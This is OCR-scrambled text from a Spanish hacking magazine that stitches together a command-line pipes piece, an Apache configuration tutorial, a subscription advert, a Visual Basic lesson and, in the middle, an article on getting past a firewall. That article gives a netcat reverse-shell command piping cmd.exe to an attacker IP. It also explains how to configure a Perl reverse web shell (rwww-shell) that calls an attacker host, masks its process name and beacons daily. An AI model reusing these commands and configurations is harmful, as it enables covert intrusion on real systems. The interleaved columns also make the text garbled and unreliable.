de GNU/LiNUX que tienen relacin con otros
artculos de esta revista para de esta manera
Es decir, que la salida de un programa fuese percibir mejor las posibilidades e ir
la entrada del otro. Pues bien; diversos SS.OO. "enganchando" a algn incauto windowsero
entre los que se encuentran UNiX, GNU/LiNUX ;o).
y Windows en su lnea de comandos
proporcionan una herramienta que hace esto: Espero que haya servido de ayuda a alguien y
Los pipes (tuberas) cuyo smbolo es | (barra esperemos que en el futuro profundicemos y
vertical). presentemos temas que, ay, han quedado
obligatoriamente en el disco duro.
Ejemplo: Los comandos dir y more realizan
respectivamente las siguientes tareas; dir nos Un saludo.
lista todos los archivos de un directorio (ls en
GNU/LiNUX); more nos muestra pgina a pgina Luis U. Rodrguez Paniagua
el contenido de un archivo.
Dicho de otra manera, dir/ls proporcionan como
informacin de salida un listado de archivos;
more necesita como entrada texto a paginar.
Si tecleamos:
Simplemente comentarte que el cliente telnet un comando HTTP correcto, pero para averiguar
de windows 98 se presenta como una ventana la versin de Apache es suficiente con enviar
de windows y no a modo de texto como en cualquier cosa.
XP/2000, incluso es ms sencillo de utilizar si
te ests iniciando en los clientes Telnet.
! S utilizas...
Ejecutamos el comando de sistema telnet.exe,
como vers se abre una ventana sin contenido, Si utilizas el telnet de Windows XP, como en el nmero 7
con el fondo blanco y con un men en la parte de Hack x Crack, debers:
superior. Selecciona Sistema remoto del - Abrir una Ventana de Comandos
men desplegable Conectar. - Escribir telnet 127.0.0.1 80
En este momento tendrs ante ti una ventana completamente
en negro, sin una sola letra.
- Escribir cualquier cosa (aunque no se ver reflejado en
la ventana) y pulsar enter. En ese momento vers el mensaje
de error y la versin de apache del remoto, como en la
imagen ;)
Una vez abierto se observa que existen lneas la web tiene miles de visitas y deseas que el
precedidas por el smbolo # estas lneas como servidor no consuma recursos de sistema
habrs supuesto son comentarios que describen entonces selecciona standalone, pero si quieres
el parmetro y el valor que hay a continuacin. mayor seguridad en tu servidor web a costa de
utilizar ms recursos (ms memoria, ms micro,
...) entonces utiliza inetd.
ServerRoot
Este parmetro indica el lugar dnde se
encuentran los archivos de configuracin, error
y registros. Es el directorio padre de todos los
ServerType archivos relacionados con el servidor Apache.
El primer parmetro que encontrars es En nuestro ejemplo es: c:/apache/ (en la imagen
ServerType, este parmetro indica a Apache anterior puedes ver que el directorio padre es
como debe manipular internamente las c:/apache/apache, eso es porque esa imagen
peticiones de los navegantes. Lo que os corresponde a alguien que ha instalado Apache
comentamos a continuacin es ms culturilla en el directorio c:\apache\apache)
que otra cosa, pero es necesario saberlo para
conocer como trabaja un servidor Web Vamos a realizar una prueba cambiando este
internamente. parmetro, lo primero que tienes que hacer es
parar el servidor Apache (recuerda: apache.exe
ServerType puede tener dos valores -k stop) una vez parado pon cualquier otra cosa
standalone | inetd, entre ambos parmetros en ServerRoot, por ejemplo ServerRoot
existe una gran diferencia relacionada con la c:/apacheerror/, graba el archivo de
eficacia del sistema. El proceso de un servidor configuracin.
configurado como inetd se cierra en el mismo
momento en el que termina de atender la Se ha colocado una ruta errnea, Apache
peticin recibida. Mientras que en el modo dispone de un sencillo debugger que te indicar
standalone, el subproceso se queda el error ocurrido
esperando cierta cantidad de tiempo antes de y hasta que no lo
cerrarse. De esta forma se pueden volver a soluciones no te
utilizar en el futuro. Como no hay que dedicar permitir ejecutar
recursos de sistema para volver a abrir el el Apache. Para
proceso, se mejora la eficacia del servidor. comprobar si el
Inetd tiene sus ventajas, se considera ms archivo de
seguro que standalone. configuracin es correcto utiliza el parmetro
-t, de la siguiente forma:
Cundo se tiene que utilizar uno u otro?, si Apache.exe -t
Port
El puerto HTTP predeterminado es el 80 y es ! Puedes utilizar...
el que se utiliza en la mayora de los servidores
WEB. Puedes cambiar el puerto por uno Puedes utilizar un puerto diferente para que tu web sea
comprendido entre el rango 1024 y 32769, accesible desde Internet pero que no sea encontrada por
ambos incluidos. Todos los puertos menores los buscadores o que sea accesible solo para tus amigos
de 1024 se consideran estndares y ya estn que conocen la direccin exacta, si cambias el puerto
asignados por defecto a otros servicios. Ten complicas bastante la deteccin de una web.
en cuenta que si utilizas un puerto diferente al
80, tienes que especificar el puerto en la URL
dirigida al servidor. ServerAdmin
Por ejemplo, si utilizas el puerto 8080, la url Cuando ocurre un error el servidor web genera
un error y no puede mostrar la pgina solicitada Por ejemplo, puedes tener otra unidad "e"
enva una pgina de error, en esa pgina se donde colocars los archivos HTML, GIF, MP3,
muestra una direccin email del administrador DIVX, ..., Los parmetros a modificar seran:
de sistema. De esta forma los visitantes del
sitio web podrn informar de cualquier problema ServerRoot "C:/apache/ "
a travs de un mensaje de correo electrnico.
DocumentRoot "E:/"
Por ejemplo: ServerAdmin
webmaster@tudominio.com Como puedes ver el root del servidor
(ServerRoot) est donde se instal el Apache
Servername mientras que el Root de las pginas web se
encuentra en la unidad E. De esta forma tan
Aqu puedes colocar un dominio o una IP, sencilla has dificultado el acceso al sistema de
recuerda que este parmetro se configur en curiosos, os aseguro que muchas empresas de
la instalacin (en unos de los pasos explicados hosting tienen un servidor muy potente con un
en HxC n7), ahora ya puedes cambiarlo con disco duro de muchas gigas (en una unidad)
el valor que quieras, como es un servidor de y este disco duro est compartido por el sistema
p r u e b a s p o n S e r ve r n a m e 1 2 7. 0 . 0 . 1 operativo y todos los dominios, cualquier
webmaster con nociones de PHP puede acceder
DocumenRoot a otros dominios si estos parmetros estn mal
configurados. Primero vamos a aprender a
Este parmetro indica al servidor que ha de configurar el Apache que luego, en futuros
considerar el directorio especificado como el captulos, veremos como podemos acceder al
path del nivel superior. La eleccin de este contenido de otros dominios teniendo acceso
directorio es muy importante, por ejemplo si desde uno ;)
el valor es DocumentRoot "c:/" podrs acceder
a todo el disco duro. Obviamente se puede Te adelantamos un detalle
proteger dichos archivos estableciendo los Hemos explicado varios parmetros que son
permisos oportunos. muy importantes para la configuracin del
servidor Apache, el fichero httpd.conf lo tienes
A este root (el documentRoot) se le llama Root configurado para que funcione en un slo
virtual, para aclarar el documentroot y que espacio web, es decir, tienes un dominio o IP
veas la utilidad de este importante parmetro, asociado a un espacio de disco de tu ordenador.
el valor es la ruta PATH del disco desde donde Pues te adelantamos que puedes crear ms
puede Apache encontrar las pginas web por espacios webs en tu ordenador, es decir, has
defecto. pensado ofrecer hosting a tus amigos?, con
Apache es posible, puedes alojar en tu mismo
Si tienes dos discos duros, puedes colocar en ordenador varios dominios y cada uno con su
un disco duro la instalacin de Apache junto propia configuracin. Pero no corramos, en el
con los archivos del sistema operativo y colocar prximo captulo aplicaremos todo lo aprendido
en otro disco duro las pginas webs, de en este nmero, que no es poco, creando varios
este modo no corres el riesgo de que algn sitios en tu propio ordenador. Tu servidor no
curioso pueda acceder al disco duro donde ser muy diferente a los servidores de empresas
tienes instalado el sistema (apache, sistema de hosting.
operativo) y fastidiarte como ya te puedes
imaginar. Por qu te decimos todo esto? Muy sencillo,
todos los parmetros que hemos comentado vers que dice que no tienes permisos para
son globales, es decir, afectan a todos los sitios ver el contenido del directorio. Qu pasos ha
creados. Puedes configurar sitios con seguido Apache?, lo primero que ha realizado
parmetros personalizados, por ejemplo, puedes es buscar el archivo ndice con extensin .html
crear un sitio que para acceder tengan que y como no lo ha encontrado ha mostrado la
poner el puerto 8080 y otro sitio con el puerto pgina de que no tienes permisos para ver el
80. Ms adelante vers la diferencia. contenido.
cuenta de que tu pequeo ordenador puede tanto de tu servidor web Apache pues la mayora
ser visto como un gran servidor de cara a los de ellos tienen otro servidor Apache ;)
navegantes, y que el funcionamiento de los
servidores web a los que te conectas no difieren David C.M
SUSCRIBETE A
PC PASO A PASO
45 EUROS (10% DE DESCUENTO)
SUSCRIPCIN POR: +
1 AO = SORTEO DE UNA CONSOLA XBOX
+
11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR)
C o n t r a R e e m b o l s o Giro Post al
Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envanos un GIRO POSTAL por valor de 45 EUROS a:
indicando: CALLE HIGINIO ANGLES N2, 4-1
- Nombre CP 43001 TARRAGONA
- Apellidos ESPAA
- Direccin Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
- Poblacin o un nmero de Telfono.
- Provincia
- Cgigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Mail de Contacto y/o Telfono Contacto - Nombre
Es imprescindible que nos facilites un mail o telfono de contacto, - Apellidos
puesto que 24 horas despus de que recibamos tu peticin de - Direccin Completa
subscripcin te daremos un nmero de Cliente Preferente. Este - Poblacin
nmero ser utilizado para los sorteos. - Provincia
- Tipo de Subscripcin: CONTRAREEMBOLSO - Cgigo Postal
- Nmero de Revista: - Mail de Contacto y/o Telfono Contacto
Este ser el nmero a partir del cual quieres subscribirte. Si deseas Es imprescindible que nos facilites un mail o telfono de contacto,
(por ejemplo) subscribirte a partir del nmero 5 (incluido), debes poner puesto que 24 horas despus de que recibamos tu peticin de
un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) subscripcin te daremos un nmero de Cliente Preferente. Este
nmero ser utilizado para los sorteos.
APRECIACIONES: - Tipo de Subscripcin: GIRO POSTAL
* Junto con el primer nmero recibirs el abono de 45 euros, precio - Nmero de Revista:
de la subscripcin por 11 nmeros (un ao) y una carta donde se te Este ser el nmero a partir del cual quieres subscribirte. Si deseas
indicar tu nmero de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del nmero 5 (incluido), debes poner
subscripcin. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos)
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB APRECIACIONES:
(www.hackxcrack.com) o envindonos una carta a la siguiente direccin: * Junto con el primer nmero recibirs una carta donde se te indicar
CALLE HIGINIO ANGLES N2, 4-1 tu nmero de Cliente Preferente y justificante/factura de la subscripcin.
CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
ESPAA indicado; rellenando el formulario de nuestra WEB
* Cualquier consulta referente a las subscripciones puedes enviarla (www.hackxcrack.com) o envindonos una carta a la siguiente direccin:
por mail a preferente@hackxcrack.com CALLE HIGINIO ANGLES N2, 4-1
CP 43001 TARRAGONA
ESPAA
* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com
Paso 2: el Pc EXTERIOR permite la conexin y envia los datos ped idos al Pc Vctima
Pc Firewall Internet Pc
Vctima Atacante
Tiene un Bloqueando Intentando
troyano cualquier incio iniciar una
escuchando en de conexin conexin en el
el puerto 80 desde el puerto 5000 del
exterior PC vctima
5000
Recibiendo Permitiendo el Enviando una
Ahora fijmonos en las reglas de trfico saliente.
contestacin paso de la respuesta al Pc
Podemos ver que, si es la mquina vctima la
respuesta del Vctima
Pc EXTERIOR
que inicia la conexin (desde dentro y no desde
fuera), se nos permite conectarnos a los puertos
80 y 443 de cualquier mquina de Internet
(puertos ms comunes de los servidores Web).
! Comentario de...
Esto est pensado para que la gente de la red
COMENTARIO DE HACK X CRACK: Muchos lectores
interna pueda navegar por Internet y realizar
estarn preguntndose como es posible que en el PASO 2,
las funciones propias de su trabajo (o ver las
el PC EXTERIOR pueda enviar datos al PC Vctima De modo que pasas y establecis una comunicacin de la
teniendo un Firewall que en principio debera DETENER siguiente forma:
cualquier tipo de "transferencia". Bien, ES Comandante (PC Vctima): Te requiri a su presencia de
IMPRESCINDIBLE que entiendas lo siguiente: Una cosa forma inmediata.
es la "Peticin de Conexin" y otra muy distinta la T (PC Exterior): Llegas ante el Teniente y te identificas
"Respuesta a una peticin" y posterior "Conversacin". como alguien que ha sido requerido por el comandante.
Vamos a ver estos conceptos dos ejemplos: un "paralelismo Teniente (FIREWALL): Verifica que efectivamente fue el
militar" ;) y un "amigo pasota". comandante el que te llam, y no eres un jetas que trata de
entrar con una treta para llenar el silln del comandante
Paralelismo Militar: con miguitas de pan. Una vez verificado te deja pasar sin
Supongamos que eres soldado raso del glorioso cuerpo de problemas ni preguntas.
la legin espaola. Supongamos tambin que ests destinado
en un cuartel con un reglamento muy estricto. --- En este momento establecis una conversacin ---
T: Entras y te presentas ("A sus ordenes de usted, mi
Este reglamento prohibe que un soldado raso (PC Exterior) Comandante, se presenta el soldado raso Juan Tanamera
hable con el comandante del puesto (PC Vctima) SIN Guajira").
haber sido preguntado o requerido por el mismsimo Seor
Comandante (PC Vctima). Es decir, si el comandante no Comandante: Te dar las ordenes oportunas ("vaya a limpiar
se pone en contacto contigo, olvdate de mantener una mi retrete de inmediato... Esta maana la diarrea no me
charla con l. permiti llegar a tiempo al excusado.").
Como t (PC Exterior) eres mu chulo, decides que vas a T: Te aseguras de lo que tienes que hacer ("Con la lengua,
ir a hablar con el comandante (PC Vctima). Entras en las mi Comandante?").
dependencias y te encuentras con un Teniente (FIREWALL) Comandante: Te contesta ("Por supuesto soldado. Acaso
plantado delante de la puerta del comandante. Le explicas hay otra forma?").
al Teniente educadamente que necesitas hablar con el Seor
Comandante (Peticin de Conexin), pero tan slo recibes --- Fin de la conversacin ---
un "NO" como respuesta. Da igual como te pongas... De
hecho, si eres demasiado insistente puedes provocar las T te retiras y no podrs volver a hablar con l hasta que
iras del teniente y dar con tus huesos en el calabozo (baneo seas requerido a su presencia nuevamente (por mucho que
al canto ;p). trates de ir a asegurarle lo limpio que lo has dejado todo,
mostrndole las pruebas del trabajo bien hecho an visibles
Ese mismo da el comandante TE LLAMA (Peticin de en tu lengua)
Conexin al PC Exterior). Llegas al despacho y te encuentras
con el mismo teniente (FIREWALL). Le explicas que te Como puedes ver, es perfectamente posible que entables
ha llamado el comandante (PC Vctima) y el Teniente, un dilogo con el comandante... Pero es l quien debe
despus de verificar que en efecto ha sido as, te franquea realizar la peticin de que ese dilogo se produzca. Si lo
el paso sin problemas. Est "obligado" por el mismo intentas t, slo conseguirs estrellarte una y otra vez contra
reglamento a dejarte pasar, o sera l el que no est el teniente de turno.
cumpliendo su funcin al no permitir que te comunicases
con vuestro jefe supremo A REQUERIMIENTO DE ESTE Ahora veamos los protagonistas nuestra historia:
(con el riesgo de dar l con sus huesos en el consabido
calabozo). Soldado Juan Tanamera Guajira (T): Mquina
En la maquina vctima se deber escribir el siguiente nuestra mquina atacante al puerto 443, donde
comando: tenemos escuchando nuestro segundo netcat
abierto en nuestra segunda consola, en la
nc 192.168.100.100 80 | cmd.exe | nc maquina atacante.
192.168.100.100 443
! Entendamos...
! En el caso de...
Entendamos eso de nc -vv -l -p 80
En el caso de que no dispongamos del netcat instalado en * la opcin -vv, por decirlo de forma rpida y sencilla, nos
la mquina vctima podremos conseguir el mismo resultado permitir obtener ms informacin por pantalla de lo que
mediante el programa telnet. est pasando.
* la opcin -l le indica al netcat que debe quedarse
escuchando conexiones entrantes.
3.- SEGUNDO ESCENARIO PASO A * la opcin -p 80 le indica al netcat en qu puerto debe
PASO Y EN TU PC quedarse escuchando, en este caso el puerto 80.
esa barra vertical (no te quejars no) pues de arriba a la izquierda e introduce un comando,
pulsas la tecla [Alt Gr] + la tecla 1 pero por ejemplo el comando dir c:\. Inmediatamente
hombre, la del teclado numrico NO!!!, por obtendrs en la Ventana de Comandos de arriba
favor, pulsa la tecla 1 de toda la vida!!! (si te a la derecha el listado de archivos del disco C:
da vergenza leer esto, imagina lo que siento
yo al escribirlo ;p)
* Finalmente, le cambiamos la extensin al
fichero lanza.txt transformndolo en lanza.bat
Cmo? Qu dices? Qu no puedes ver las
extensiones TXT y BAT? NO!!!! NO!!!!!
NO!!!!!!!!! Me niego a decirte cmo se activa
la visualizacin de las extensiones en Windows
venga hombre, si realmente no lo sabes
investiga un poquito y como ltimo recurso
psate por el foro de Hack x Crack, acumula
una buena dosis de valor y pregunta!!! :p
* Ya est todo preparado para el gran momento.
Inicia otra ventana de comandos (con esta ya
van tres), ves al directorio del netcat (c:\nc7) No te cortes, introduce todos los comandos
y ejecuta el fichero lanza.bat DOS en la Ventana de Comandos de arriba a
Te aconsejo que tengas las tres Ventanas de la izquierda y observa el resultado en la de
Comando a la vista cuando lo hagas ;p arriba a la derecha ;p
Q u e s P e r l ? ( E x t ra d o d e " Pe r l
Es decir, precisamos un "reverse shell" que
documentation" (documentacin Perl)).
simule que el trfico cursado es HTTP (como
"Perl es un lenguaje de programacin de alto
si se estuviese navegando por un servidor web)
nivel de orientacin eclctica escrito por Larry
Wall y miles de colaboradores. Deriva del
Pues bien... La opcin 2 es la que eligi nuestro
lenguaje C y, en menor grado, de utilidades
amigo Van Hauser, y la que tratar de explicar
como sed, awk, el shell de UNIX y una docena
a continuacin.
de otras herramientas y lenguajes. Las facilidades
de manipulacin de texto, ficheros, procesos y
Para ello, partiremos del programa que escribi
Bases de Datos que nos ofrece perl lo hacen
tan renombrado miembro de THC: rwww-
particularmente til para tareas relacionadas
shell.pl. Pero usaremos una versin ligeramente
con el prototipado rpido, utilidades de sistema,
retocada por m para ilustrar dos cosas:
herramientas software, administracin de
1.- La sencillez y potencia del lenguaje perl.
sistemas, acceso a Base de Datos, programacin
2.- El lmite a esta tcnica lo pone solo la
grfica, networking y programacin de CGIs...
imaginacin.
! Como expuse...
Cmo puedo aprender e instalar Perl? Y nada ms. Hecho este inciso volvemos al
Bueno... Mi recomendacin es que visites en tema que nos ocupa... "Podemos engaar al
primer lugar CPAN (www.cpan.org) Desde all firewall ese de las narices?"
podrs descargarte Perl, as como ver
documentacin y encontrar enlaces de 4.2 LA "MAGIA" DEL TROYANO.
importancia. Como se ha dicho, esto no es ms que un
son "peticiones vlidas" y "trfico permitido" !list : Muestra una lista con un identificador
toda la comunicacin pasara sin problemas ni nico por cada slave conectado actualmente.
alerta a travs del sistema de seguridad que !use <id>: Permite conmutar entre slaves. El
mont este Administrador. En realidad, las valor <id> debe ser sustituido por uno de los
respuestas del "servidor web" sern los identificadores nicos que nos muestra el
comandos que deseamos ejecutar y las comando !list.
"peticiones del cliente" la salida (el resultado)
de dichos comandos. NOTA Para los que quieran "bucear" en el
programa...
Pero... Qu pasa si un administrador curioso Tuve que modificar la parte del "master" por
observa que hay conexiones a una pgina web las razones que expuse antes:
nueva o referenciada como IP o, simplemente, a) para que pudiese leer toda la informacin
que no le suene?... O si alguien os escanea enviada (por el problema que tuve con los
los puertos y trata de conectarse a vuestro archivos de texto largos).
puerto 80 donde escuchar el programa en b) para introducir el concepto de "comandos
modo master? Pues nada. Para eso se usa una de control".
variable de "clave" ($PASSWORD) que, de no
ser encontrada por el master en la peticin Podris comprobar que el acceso a sockets se
provocar que se devuelva un mensaje de "esa realiza de una forma distinta. En este caso
pgina no se encuentra en este servidor" o el decid usar las funciones del mdulo IO::Socket
mensaje que prefiris dar... para introducir una forma ms cmoda de
manejar sockets que con las funciones del
ESO ES EXACTAMENTE LO QUE BUSCBAMOS! mdulo original Socket utilizadas por Van
Increble. Un firewall puede ser burlado para Hauser...
permitir la conexin remota...
Para los que quieran "tocar a fondo" el
Modificaciones "autctonas". cdigo (sugerencias)...
Como dije, introduje algunas modificaciones Cuando me plante este artculo pens en
(muy pequeas) en el programa de Van Hauser. incluir un conjunto ms amplio de opciones
En primer lugar... Originalmente, solo permita dentro del programa, pero no lo hice por dos
UN SLAVE cada vez. Ahora puede haber tantos razones:
como se desee... a) La falta de tiempo.
b) No era necesario para ilustrar el concepto.
Tambin he incluido una opcin de "logging"
que permite enviar una sesin a un fichero log, Sin embargo, una vez incluido el concepto de
adems de verla en pantalla. "comandos de control", hay una serie de ideas
que, como ejercicio, podran resultar de inters.
Adems, he introducido el concepto de Veamos algunas...
"comando interactivo" en el programa. Esto
es, se pueden ejecutar determinadas acciones - Que el programa permita el intercambio de
de CONTROL que NO sern ejecutadas como ficheros entre la vctima y el atacante. "Puede
si de un comando se tratase en la mquina hacerse?" preguntareis... Pues se me ocurre
atacante... Actualmente solo he implementado que es prcticamente trivial. Para que est el
2, para demostrar el concepto (observar el ! formato MIME, por ejemplo? ;)
delante del comando... Indica que se trata de - Que el "master" devuelva una pgina HTML
un comando de control): ms compleja (y no el simple mensaje tpico
defensa)... Configuracin
La forma de configurar el programa es muy
4.3. EL PROGRAMA EN S MISMO. simple. Se debe editar, con cualquier editor de
Bien, pasemos ahora al programa en s. Antes texto plano (no procesador de textos, OJO) y
de nada un par de aclaraciones: poner los parmetros adecuados. Veamos como:
1.- No puedo garantizar que funcione con todos Las lneas que comienzan por el carcter "#"
los cortafuegos ni con todos los proxys son lneas de comentario, NO forman parte del
y gateways HTTP. Funciona con los cdigo. Y el programa no las tendr en cuenta.
que yo los he probado (no, no pienso decir Es como si no estuviesen... Es una buena forma
cuales ;)). de habilitar o deshabilitar opciones. Si hay un
# delante de una variable, esa variable NO se
2.- Vuelvo a insistir en la intencin de esta inicializando (es como si no existiese).
"proof of concept" de este artculo y este
programa. Que nadie espere un ejemplo de
programacin avanzada, ni la octava Seccin de CONFIGURACIN GENERAL
maravilla del mundo. De hecho, he respetado # configuracin general (Salvo para $MASK el
el programa de Van Hauser tanto como he #resto debe ser igual para el master y el slave
podido... Eso incluye los "goto's" que el haba #en esta seccin
utilizado. #
$MODE="POST"; # GET or POST
3.- De nuevo recalcar (ya se que soy pesado... $CGI_PREFIX="/cgi-bin/orderform";# debe
qu pasa?) que este programa, as como este #parecer un cgi vlido...
artculo, se han realizado con la idea de mejorar $MASK="TROYANO_MALO";
el conocimiento sobre como vuestros sistemas # for masking the program's process name
pueden ser atacados con el fin de que podis $PASSWORD="MIA"; # anything,
estar prevenidos. EN NINGUN caso animo, #nothing you have to remember
apoyo, realizo, comulgo ni colaboro con ningn # (not a #real "password" anyway)
tipo de acto delictivo. All cada uno con su
conciencia... a) Primero vemos la lnea $MODE. No
entrar en detalles sobre los mtodos definidos
Limitaciones en HTTP para el intercambio de informacin
El programa no funciona bien con comandos con el usuario... Simplemente elegir GET o
interactivos (como el vi, por ejemplo o el sqlplus POST (Por defecto POST).
de ORACLE). Se debe usar con comandos que b) Luego tenemos $CGI_PREFIX. Esta
se ejecuten y terminen en una sola pasada, cadena es la que se enviar en la solicitud
sin pedir mas datos al usuario... Sin embargo, (emulada) HTTP... Podis poner lo que mas os
esto no es un problema para aquellos de guste, siempre que parezca que se hace
vosotros que de verdad os empeis en hacer referencia a un CGI que pudiera ser vlido. Por
algo. Por ejemplo, un sencillo archivo de defecto "/cgi-bin/orderform", pero podra ser
comandos en shell-script podr interactuar con /cgi-bin/mi_cgi.cgi
cualquier programa que pida datos al usuario c) Luego el parmetro $MASK. Este es
(si conocemos la secuencia de respuestas que importante. Se trata del "nombre" con que
deseamos dar) . Dicho script podr despus aparecer el programa al hacer un "ps" para
ser ejecutado con el troyano sin problemas y ver los procesos activos en la maquina vctima...
capturar la salida ;) Lgicamente NO debera llamarse
TROYANO_MALO. Sera mejor algo como "lpd" #$PROXY_PORT="3128"; # Puerto del proxy
o "vi" o "/bin/sh/" o cualquier otro nombre que #si lo hay...
no resulte "cantoso" para un administrador ;) #$PROXY_USER="user"; # Nombre del
d) Finalmente la variable $PASSWORD. #usuario para autenticarse en el proxy (si se
No es un password real. Se usa solamente #requiere)
para identificar que el intento de conexin se #$PROXY_PASSWORD="pass";# password
realiza desde el slave que nosotros colocamos, #$DEBUG="yes"; # Solo para debugging
y no se trata de un extrao tratando de ver #$BROKEN_RECV="yes"; # Para AIX &
que hay en el puerto 80 de nuestra maquina #OpenBSD, NO para Linux ni Solaris
atacante. Por defecto "MIA".
a) $SHELL. EL shell que deseamos ejecutar.
Normalmente ser /bin/sh
Seccin de CONFIGURACION PARA EL MASTER b) $DELAY. El tiempo que esperar el slave a
# CONFIGURACION PARA EL MASTER que termine de ejecutarse un comando concreto
#(Obligatoriamente deben llevarlo igual el antes de enviar la salida al master. Es importante
#master y el slave) notar que por defecto est en 2 segundos...
# pero si vamos a ejecutar un script largo en la
$LISTEN_PORT=80; # Puerto en el que mquina atacada o similar deberemos aumentar
#escuchara (80 necesita permisos de root)) este tiempo para evitar problemas.
$SERVER="www.mimaquina_atacante.com"; c) $TIME. Hora a la que el programa iniciar
# EL host atacante... vale IP o nombre DNS) la conexin. Si se omite (o se comenta como
est por defecto) el programa slave tratar de
a) $LISTEN_PORT. En esta variable ponemos iniciar la conexin al ejecutarlo.
el puerto en el que el master estar a la d) $DAILY. Importante... Si queremos que el
escucha y al que al slave tratar de conectarse. programa trate de conectarse todos los das
Por defecto 80. deberemos descomentar esta lnea (por defecto
b) $SERVER. La direccin IP o nombre DNS comentada)... Lo har a la hora especificada
de nuestra mquina atacante (en la que en $TIME, que deber colocarse a un valor
estamos corriendo el master). adecuado. Si no descomentamos esta lnea, el
programa NO se conectar todos los das.
e) $PROXY ... $PROXY_PASSWORD: Variables
Seccin de CONFIGURACIN PARA EL SLAVE importantes en caso de que la conexin al
# CONFIGURACION DEL SLAVE (Solo importa exterior desde la maquina atacada se realice
#para el slave... El situado en la maquina a travs de un proxy... el usuario y el password
#atacada) se especificarn si dicho proxy es autenticado
# f) $DEBUG. Saca en pantalla informacin sobre
$SHELL="/bin/bash -i"; # Shell a ejecutar... lo que va haciendo el programa... Solo durante
$DELAY="2"; # Tiempo de espera el tiempo de depuracin (Es demasiado cantoso
#para la salida tras los comandos... sobre todo en el slave ;) )
#$TIME="15:58"; # Hora de conexin g) $BROKEN_RECV... Para solucionar un
#al master (ahora mismo si no se especifica problema con los AIX y OPENBSD en el manejo
#una) de sockets. No se necesita en otros UNIX (ni
#$DAILY="yes"; # Intenta conectarse en LINUX)
#una vez al da si se especifica aqu
#$PROXY="127.0.0.1"; # En caso de Como vemos, el slave solo necesita
#necesitar un proxy... OBLIGATORIAMENTE que definamos las
variables $SHELL y $DELAY para probarlo. El etc. (no el word ni ningn "procesador" de
resto son opcionales en funcin de lo que textos).
queramos hacer y de la tipologa de la red (en
el caso de las variables relacionadas con el El nombre del programa puede ser el que os
PROXY). de la gana. Yo he decidido llamarlo rws.pl, para
no confundirlo con el original de Van Hauser
Y nada ms. Una vez editadas estas lneas y (rwww-shell.pl) y respetar la intencin de su
modificado el valor de las variables que debis nombre ("reverse-web-shell" o "shell inverso
modificar (tal y como se ha explicado mas va web").
arriba) solo deberis ejecutar el programa en
modo slave en un ordenador remoto y en modo Por ltimo... Recordad. Las lneas que empiezan
master en el vuestro (o ambos en el mismo si con # SON COMENTARIOS. No se interpretan
tenis una red loopback definida)... como parte del cdigo. Podis descomentar
una lnea (una inicializacin de variable, p.ej.)
OJO. Es importante que el "master" este activo quitando el carcter # inicial. Podis volver a
y escuchando ANTES de que el slave trate de comentarla colocando uno de nuevo.
conectarse. De lo contrario... El slave cerrar
su conexin y no volver a intentarlo hasta el MUY IMPORTANTE: El cdigo del
da siguiente (si se ha puesto "yes" en la variable programa lo tienes en la seccin
$DAILY, claro y descomentado la lnea tal como PROGRAMAS de nuestra Web
se explic). (www.hackxcrack.com). No lo hemos
puesto en la revista porque ocupa seis
Ejecucin... pginas ;p
Si ejecutas el programa sin argumentos, saca
una lnea indicando la sintaxis que debes utilizar:
Bienvenidos de nuevo al curso de programacin pero que pueden recibir diferentes valores,
en Visual Basic. En la ltima entrega hicimos, declaradas con el mismo nombre (identificador).
desde 0, una calculadora. Alguien apreci en
los foros de PC paso a paso que tal vez, el Menudo rollo. Si me habis entendido es porque
cdigo que gestionaba los nmeros pulsados sois realmente buenos, ya que no yo mismo
para despus procesarlos, fuese demasiado me entiendo. Por eso creo que es mejor que
largo y repetitivo, y pregunt si era posible pongamos un ejemplo prctico, como siempre,
reducirlo. Tambin creo recordar que alguien y as vemos la utilidad de los vectores.
respondi: "un array de controles..."
- Abrimos un proyecto nuevo, eligiendo como
Un array de controles, esa sera la solucin proyecto "Exe estndar".
exacta para reducir todas esas lneas en unas
pocas. - Al formulario le aadimos dos botones, como
ya hemos hecho en la calculadora, y los
Hoy tena previsto explicaros que era un OCX llamamos Cmd1 y Cmd2. Hasta aqu nada
y crear uno tambin desde 0, y as haremos, nuevo, pero ahora vamos a jugar un poco con
pero antes debemos explicar qu s y como se los nombres de estos controles.
implementa un array (matriz) de controles en
cualquier proyecto de VB, y en este caso, lo - Picamos sobre el segundo botn, y vamos a
haremos sobre la calculadora que ya deberamos su propiedad Nombre. Aqu cambiamos Cmd2
tener acabada. por Cmd1 (s, s... no me he vuelto loco, ya s
que tenemos un botn con el mismo nombre).
Ahora presionamos intro y nos debera aparecer
1.- Qu es un "array"? Qu es un mensaje como el de la imagen, si tenemos
un "vector"? la versin en castellano.
! El vector...
Los valores que aadimos a un vector tienen que ser siempre Private Sub Cmd6_Click()
del mismo tipo al que hemos declarado la variable, es decir, TxtOper.Text = TxtOper.Text & "6"
en el caso de IntNum(x), al ser integer, lo que queramos End Sub
introducir en ella, siempre deber ser un valor entero,
independientemente el ndice de la variable. Private Sub Cmd7_Click()
TxtOper.Text = TxtOper.Text & "7"
End Sub
Bien, ahora abramos la calculadora. En el diseo
del formulario, vamos a los diferentes botones Private Sub Cmd8_Click()
y les cambiamos el nombre a Cmd1 (a todos) TxtOper.Text = TxtOper.Text & "8"
y cambiamos tambin la propiedad Index de End Sub
cada uno de ellos con el nmero que le
corresponda segn su valor (es decir, si el Private Sub Cmd9_Click()
botn que estamos cambiando era el Cmd0, TxtOper.Text = TxtOper.Text & "9"
su nuevo Index debera ser 0, para nuestra End Sub
comodidad en este ejercicio).
Una vez tenemos cambiados todos los botones, Una vez borradas, picamos dos veces sobre
es hora de acabar con esto. cualquiera de los botones, (recordemos que
Primero, borramos todas las lneas del cdigo ahora son todos el mismo botn, diferenciados
anterior, que ahora son totalmente intiles. por el ndice) y aadimos la siguiente lnea
Las lneas exactas que tenis que borrar son
las siguientes: Private Sub Cmd1_Click(Index As Integer)
TxtOper.Text = TxtOper.Text & Index
Private Sub Cmd0_Click() End Sub
TxtOper.Text = TxtOper.Text & "0"
